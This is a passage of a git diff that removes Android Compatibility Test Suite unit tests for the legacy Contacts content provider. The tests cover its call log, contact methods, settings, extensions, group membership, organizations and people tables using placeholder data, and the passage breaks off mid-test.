-                    new String[] {insertCallsNumber}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(insertDate, cursor.getInt(DATE_INDEX));
-            assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
-            assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
-            assertEquals(0, cursor.getInt(NEW_INDEX));
-            assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
-            assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
-            assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
-            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update. Also add new cached fields to simulate extra cached fields being
-            // inserted into the call log after the initial lookup.
-            int now = (int) new Date().getTime();
-            value.clear();
-            value.put(Calls.NUMBER, updateCallsNumber);
-            value.put(Calls.DATE, now);
-            value.put(Calls.DURATION, updateCallsDuration);
-            value.put(Calls.TYPE, Calls.MISSED_TYPE);
-            value.put(Calls.NEW, 1);
-            value.put(Calls.CACHED_NAME, updateCallsName);
-            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
-            value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
-            value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
-            value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
-            value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
-            value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
-            value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
-            value.put(Calls.COUNTRY_ISO, updateCountryIso);
-            value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
-            value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
-
-            mCallLogProvider.update(uri, value, null, null);
-            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls._ID + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(now, cursor.getInt(DATE_INDEX));
-            assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
-            assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
-            assertEquals(1, cursor.getInt(NEW_INDEX));
-            assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
-            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
-            assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
-            assertEquals(updateCachedFormattedNumber,
-                    cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
-            assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
-            assertEquals(updateCachedNormalizedNumber,
-                    cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
-            assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
-            assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
-            assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
-            assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
-            assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
-            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
-            cursor.close();
-
-            // Test: delete
-            mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
-            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls._ID + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's contact_methods table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testContactMethodsTable() {
-        final String[] CONTACT_METHODS_PROJECTION = new String[] {
-                ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
-                ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
-                ContactMethods.LABEL, ContactMethods.ISPRIMARY};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int KIND_INDEX = 2;
-        final int DATA_INDEX = 3;
-        final int AUX_DATA_INDEX = 4;
-        final int TYPE_INDEX = 5;
-        final int LABEL_INDEX = 6;
-        final int ISPRIMARY_INDEX = 7;
-
-        int insertKind = Contacts.KIND_EMAIL;
-        String insertData = "sample@gmail.com";
-        String insertAuxData = "auxiliary_data_insert";
-        String updateData = "elpmas@liamg.com";
-        String updateAuxData = "auxiliary_data_update";
-        String customLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(ContactMethods.PERSON_ID, peopleId);
-            value.put(ContactMethods.KIND, insertKind);
-            value.put(ContactMethods.DATA, insertData);
-            value.put(ContactMethods.AUX_DATA, insertAuxData);
-            value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
-            value.put(ContactMethods.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
-                    ContactMethods.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(insertKind, cursor.getInt(KIND_INDEX));
-            assertEquals(insertData, cursor.getString(DATA_INDEX));
-            assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
-            assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(ContactMethods.DATA, updateData);
-            value.put(ContactMethods.AUX_DATA, updateAuxData);
-            value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
-            value.put(ContactMethods.LABEL, customLabel);
-            value.put(ContactMethods.ISPRIMARY, 1);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(ContactMethods.CONTENT_URI,
-                    CONTACT_METHODS_PROJECTION,
-                    "contact_methods._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(updateData, cursor.getString(DATA_INDEX));
-            assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
-            assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(customLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(ContactMethods.CONTENT_URI,
-                    CONTACT_METHODS_PROJECTION,
-                    "contact_methods._id" + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's settings table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testSettingsTable() {
-        final String[] SETTINGS_PROJECTION = new String[] {
-                Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
-                Settings.KEY, Settings.VALUE};
-        final int ID_INDEX = 0;
-        final int SYNC_ACCOUNT_NAME_INDEX = 1;
-        final int SYNC_ACCOUNT_TYPE_INDEX = 2;
-        final int KEY_INDEX = 3;
-        final int VALUE_INDEX = 4;
-
-        String insertKey = "key_insert";
-        String insertValue = "value_insert";
-        String updateKey = "key_update";
-        String updateValue = "value_update";
-
-        try {
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(Settings.KEY, insertKey);
-            value.put(Settings.VALUE, insertValue);
-
-            try {
-                mProvider.insert(Settings.CONTENT_URI, value);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct insert operation to setting URI.
-            }
-
-            // use the methods in Settings class to insert a row.
-            Settings.setSetting(mContentResolver, null, insertKey, insertValue);
-
-            Cursor cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            // if we update with a not-existed key, it equals insert operation.
-            value.clear();
-            value.put(Settings.KEY, updateKey);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(Settings.CONTENT_URI, value, null, null);
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {updateKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(updateKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-
-            // Test: update
-            // if we update with a not-existed key, then it is really update operation.
-            value.clear();
-            value.put(Settings.KEY, insertKey);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(Settings.CONTENT_URI, value, null, null);
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {updateKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(updateKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-
-            // Test: delete
-            try {
-                mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support delete operation to setting URI.
-            }
-
-            // NOTE: because the delete operation is not supported,
-            // there will be some garbage rows in settings table.
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's extensions table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testExtensionsTable() {
-        final String[] EXTENSIONS_PROJECTION = new String[] {
-                Extensions._ID, Extensions.NAME,
-                Extensions.VALUE, Extensions.PERSON_ID};
-        final int NAME_INDEX = 1;
-        final int VALUE_INDEX = 2;
-        final int PERSON_ID_INDEX = 3;
-
-        String insertName = "name_insert";
-        String insertValue = "value_insert";
-        String updateName = "name_update";
-        String updateValue = "value_update";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_extensions_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Extensions.NAME, insertName);
-            value.put(Extensions.VALUE, insertValue);
-            value.put(Extensions.PERSON_ID, peopleId);
-
-            Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertName, cursor.getString(NAME_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Extensions.NAME, updateName);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Extensions.CONTENT_URI,
-                    EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateName, cursor.getString(NAME_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Extensions.CONTENT_URI,
-                    EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's groupmembership table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testGroupMembershipTable() {
-        final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
-                GroupMembership._ID, GroupMembership.PERSON_ID,
-                GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
-                GroupMembership.GROUP_SYNC_ID};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int GROUP_ID_INDEX = 2;
-        final int GROUP_SYNC_ACCOUNT_INDEX = 3;
-        final int GROUP_SYNC_ID_INDEX = 4;
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            value.clear();
-            value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
-            Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
-            int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
-            value.clear();
-            value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
-            Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
-            int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(GroupMembership.PERSON_ID, peopleId);
-            value.put(GroupMembership.GROUP_ID, groupId1);
-
-            Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
-                    GroupMembership.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-
-            // Check that the person has been associated with the group. The person may be in
-            // additional groups by being added automatically.
-            int id = -1;
-            while(true) {
-                assertTrue(cursor.moveToNext());
-                assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-                int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
-                if (groupId1 == cursorGroupId) {
-                    id = cursor.getInt(ID_INDEX);
-                    break;
-                }
-            }
-            assertTrue(id != -1);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(GroupMembership.GROUP_ID, groupId2);
-
-            try {
-                mProvider.update(uri, value, null, null);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct update operation to groupmembership URI.
-            }
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(GroupMembership.CONTENT_URI,
-                    GROUP_MEMBERSHIP_PROJECTION,
-                    "groupmembership._id" + " = " + id,
-                    null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-
-            mProvider.delete(peopleUri, null, null);
-            mProvider.delete(groupUri1, null, null);
-            mProvider.delete(groupUri2, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    private long getElapsedDurationMillis(long timeStampMillis){
-        return (System.currentTimeMillis() - timeStampMillis);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Contacts_ContactMethodsTest.java b/tests/tests/provider/src/android/provider/cts/Contacts_ContactMethodsTest.java
deleted file mode 100644
index fc6e267..0000000
--- a/tests/tests/provider/src/android/provider/cts/Contacts_ContactMethodsTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.Context;
-import android.provider.Contacts;
-import android.provider.Contacts.ContactMethods;
-import android.test.AndroidTestCase;
-
-import com.android.internal.R;
-
-
-public class Contacts_ContactMethodsTest extends AndroidTestCase {
-    public void testAddPostalLocation() {
-    }
-
-    public void testEncodeAndDecodeProtocol() {
-        int protocol = ContactMethods.PROTOCOL_AIM;
-        String encodedString = ContactMethods.encodePredefinedImProtocol(protocol);
-        assertTrue(encodedString.startsWith("pre:"));
-        assertEquals(protocol, ContactMethods.decodeImProtocol(encodedString));
-
-        protocol = ContactMethods.PROTOCOL_QQ;
-        encodedString = ContactMethods.encodePredefinedImProtocol(protocol);
-        assertTrue(encodedString.startsWith("pre:"));
-        assertEquals(protocol, ContactMethods.decodeImProtocol(encodedString));
-
-        String protocolString = "custom protocol";
-        encodedString = ContactMethods.encodeCustomImProtocol(protocolString);
-        assertTrue(encodedString.startsWith("custom:"));
-        assertEquals(protocolString, ContactMethods.decodeImProtocol(encodedString));
-
-        try {
-            ContactMethods.decodeImProtocol("wrong format");
-            fail("Should throw IllegalArgumentException when the format is wrong.");
-        } catch (IllegalArgumentException e) {
-        }
-    }
-
-    public void test() {
-        String label = "label";
-        String display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
-                ContactMethods.TYPE_CUSTOM, label).toString();
-        assertEquals(label, display);
-
-        CharSequence[] labels = getContext().getResources().getTextArray(
-                com.android.internal.R.array.emailAddressTypes);
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
-                ContactMethods.TYPE_HOME, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_HOME - 1], display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
-                ContactMethods.TYPE_OTHER, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_OTHER - 1], display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
-                ContactMethods.TYPE_WORK, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_WORK - 1], display);
-
-        String untitled = getContext().getString(R.string.untitled);
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_IM,
-                ContactMethods.TYPE_CUSTOM, label).toString();
-        assertEquals(untitled, display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_ORGANIZATION,
-                ContactMethods.TYPE_CUSTOM, label).toString();
-        assertEquals(untitled, display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_PHONE,
-                ContactMethods.TYPE_CUSTOM, label).toString();
-        assertEquals(untitled, display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
-                ContactMethods.TYPE_CUSTOM, label).toString();
-        assertEquals(label, display);
-
-        labels = getContext().getResources().getTextArray(
-                com.android.internal.R.array.postalAddressTypes);
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
-                ContactMethods.TYPE_HOME, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_HOME - 1], display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
-                ContactMethods.TYPE_OTHER, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_OTHER - 1], display);
-
-        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
-                ContactMethods.TYPE_WORK, label).toString();
-        assertEquals(labels[ContactMethods.TYPE_WORK - 1], display);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Contacts_OrganizationsTest.java b/tests/tests/provider/src/android/provider/cts/Contacts_OrganizationsTest.java
deleted file mode 100644
index 1410a34..0000000
--- a/tests/tests/provider/src/android/provider/cts/Contacts_OrganizationsTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.Context;
-import android.provider.Contacts.Organizations;
-import android.test.AndroidTestCase;
-
-public class Contacts_OrganizationsTest extends AndroidTestCase {
-    public void testGetDisplayLabel() {
-        String label = "label";
-        String display = Organizations.getDisplayLabel(getContext(),
-                Organizations.TYPE_CUSTOM, label).toString();
-        assertEquals(label, display);
-
-        CharSequence[] labels = getContext().getResources().getTextArray(
-                com.android.internal.R.array.organizationTypes);
-        display = Organizations.getDisplayLabel(getContext(),
-                Organizations.TYPE_OTHER, label).toString();
-        assertEquals(labels[Organizations.TYPE_OTHER - 1], display);
-
-        display = Organizations.getDisplayLabel(getContext(),
-                Organizations.TYPE_WORK, label).toString();
-        assertEquals(labels[Organizations.TYPE_WORK - 1], display);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Contacts_PeopleTest.java b/tests/tests/provider/src/android/provider/cts/Contacts_PeopleTest.java
deleted file mode 100644
index d887aa7..0000000
--- a/tests/tests/provider/src/android/provider/cts/Contacts_PeopleTest.java
+++ /dev/null
@@ -1,289 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.Contacts;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.People;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-
-public class Contacts_PeopleTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private ContentProviderClient mProvider;
-
-    private ArrayList<Uri> mPeopleRowsAdded;
-    private ArrayList<Uri> mGroupRowsAdded;
-    private ArrayList<Uri> mRowsAdded;
-
-    private static final String[] PEOPLE_PROJECTION = new String[] {
-            People._ID,
-            People.LAST_TIME_CONTACTED
-        };
-    private static final int PEOPLE_ID_INDEX = 0;
-    private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
-
-    private static final String[] GROUPS_PROJECTION = new String[] {
-        Groups._ID,
-        Groups.NAME
-    };
-    private static final int GROUPS_ID_INDEX = 0;
-    private static final int GROUPS_NAME_INDEX = 1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-        mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
-
-        mPeopleRowsAdded = new ArrayList<Uri>();
-        mGroupRowsAdded = new ArrayList<Uri>();
-        mRowsAdded = new ArrayList<Uri>();
-
-        // insert some lines in people table and groups table to be used in test case.
-        for (int i=0; i<3; i++) {
-            ContentValues value = new ContentValues();
-            value.put(People.NAME, "test_people_" + i);
-            value.put(People.TIMES_CONTACTED, 0);
-            value.put(People.LAST_TIME_CONTACTED, 0);
-            mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
-        }
-
-        ContentValues value = new ContentValues();
-        value.put(Groups.NAME, "test_group_0");
-        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
-        value.put(Groups.NAME, "test_group_1");
-        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // remove the lines we inserted in setup and added in test cases.
-        for (Uri row : mRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mRowsAdded.clear();
-
-        for (Uri row : mPeopleRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mPeopleRowsAdded.clear();
-
-        for (Uri row : mGroupRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mGroupRowsAdded.clear();
-
-        super.tearDown();
-    }
-
-    public void testAddToGroup() {
-        Cursor cursor;
-        try {
-            // Add the My Contacts group, since it is no longer automatically created.
-            ContentValues testValues = new ContentValues();
-            testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
-            mProvider.insert(Groups.CONTENT_URI, testValues);
-
-            // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            int personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
-            assertTrue(cursor.moveToFirst());
-            int groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            cursor = People.queryGroups(mContentResolver, personId);
-
-            int membershipGroupIdIndex =
-                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
-            int membershipPersonIdIndex =
-                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
-
-            assertTrue(cursor.moveToFirst());
-            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
-            cursor.close();
-
-            // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
-            ContentValues values = new ContentValues();
-            values.put(People.NAME, "test_people_create");
-            values.put(People.TIMES_CONTACTED, 0);
-            values.put(People.LAST_TIME_CONTACTED, 0);
-            mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    People.NAME + " = 'test_people_create'", null, null, null);
-
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
-            cursor.close();
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
-            assertTrue(cursor.moveToFirst());
-            groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            cursor = People.queryGroups(mContentResolver, personId);
-            assertTrue(cursor.moveToFirst());
